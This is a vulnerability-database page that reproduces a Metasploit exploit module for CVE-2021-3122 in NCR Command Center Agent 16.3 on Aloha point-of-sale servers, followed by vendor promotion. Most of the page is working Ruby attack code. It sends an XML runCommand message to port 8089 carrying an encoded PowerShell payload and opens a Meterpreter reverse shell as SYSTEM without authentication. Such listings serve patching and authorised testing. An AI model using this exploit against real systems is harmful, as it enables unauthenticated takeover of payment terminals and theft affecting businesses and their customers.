Lucene search
K

📄 NCR Command Center Agent 16.3 Remote Code Execution

🗓️ 30 Oct 2025 00:00:00Reported by daffainfo, jjchoType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 180 Views

NCR Command Center Agent 16.3 RCE via XML runCommand permits unauthenticated SYSTEM command execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2021-3122
7 Feb 202100:00
attackerkb
Circl
CVE-2021-3122
7 Feb 202122:38
circl
CNNVD
NCR Command Center Agent Operating System Command Injection Vulnerability
7 Feb 202100:00
cnnvd
CVE
CVE-2021-3122
7 Feb 202119:45
cve
Cvelist
CVE-2021-3122
7 Feb 202119:45
cvelist
Metasploit
NCR Command Center Agent Remote Code Execution
30 Oct 202518:54
metasploit
NVD
CVE-2021-3122
7 Feb 202120:15
nvd
OSV
CVE-2021-3122
7 Feb 202120:15
osv
Packet Storm
📄 NCR Command Center Agent 16.3 Remote Command Execution
4 Feb 202600:00
packetstorm
Prion
Design/Logic Flaw
7 Feb 202120:15
prion
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::Powershell
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'NCR Command Center Agent Remote Code Execution',
            'Description' => %q{
              CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
              (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
              as SYSTEM, as exploited in the wild in 2020 and/or 2021. The vendor's position is that exploitation occurs only
              on devices with a certain "misconfiguration."
            },
            'Author' => [
              'daffainfo (Muhammad Daffa)',
              'jjcho (Jericho Nathanael Chrisnanta)'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2021-3122'],
              ['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
              ['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
            ],
            'DisclosureDate' => '2021-02-07',
            'Platform' => 'win',
            'Arch' => [ ARCH_X64, ARCH_X86 ],
            'Privileged' => true,
            'Targets' => [
              [
                'Windows',
                {
                  'Platform' => 'win',
                  'Arch' => [ ARCH_X64, ARCH_X86 ],
                  'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => []
            },
            'DefaultTarget' => 0
          )
        )
    
        register_options(
          [
            Opt::RPORT(8089)
          ]
        )
      end
    
      def check
        connect
        banner = sock.get_once
        disconnect
        if (banner.to_s =~ /<cmcsys:myNodeNumber/)
          return Exploit::CheckCode::Detected('CMCAgent detected')
        end
    
        Exploit::CheckCode::Safe('Could not detect CMCAgent')
      end
    
      def generate_xml(cmd_payload)
        workitem_id = rand(1..9)
        source_node = rand(1..9)
        exec_status = %w[Unknown Waiting InProgress].sample
        dest_server = %w[WebServer RdfServer].sample
        guid = SecureRandom.uuid
    
        xml_body = '<workitemroot commandname="runCommand">'
        xml_body << '<WorkItem>'
        xml_body << '<WorkItemId>'
        xml_body << workitem_id.to_s
        xml_body << '</WorkItemId>'
        xml_body << '<CommandName>runCommand</CommandName>'
        xml_body << '<SourceNode>'
        xml_body << source_node.to_s
        xml_body << '</SourceNode>'
        xml_body << '<TargetNode>0</TargetNode>'
        xml_body << '<Status>'
        xml_body << exec_status
        xml_body << '</Status>'
        xml_body << '</WorkItem>'
        xml_body << '<command>'
        xml_body << '<Arguments>'
        xml_body << cmd_payload
        xml_body << '</Arguments>'
        xml_body << '<Guid>'
        xml_body << guid
        xml_body << '</Guid>'
        xml_body << '<Result></Result>'
        xml_body << '<destserver>'
        xml_body << dest_server
        xml_body << '</destserver>'
        xml_body << '</command>'
        xml_body << '</workitemroot>'
        xml_body << '<:EOM:>'
    
        xml_body
      end
    
      def exploit
        connect
        print_status("Connected to #{rhost}:#{rport}") if datastore['VERBOSE']
    
        cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
        payload_xml = generate_xml(cmd_payload)
    
        print_status('Generating payload')
    
        sock.put(payload_xml)
    
        print_status('Check your shell')
      rescue ::Rex::ConnectionError => e
        fail_with(Failure::Unreachable, "Failed to connect: #{e}")
      ensure
        disconnect
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation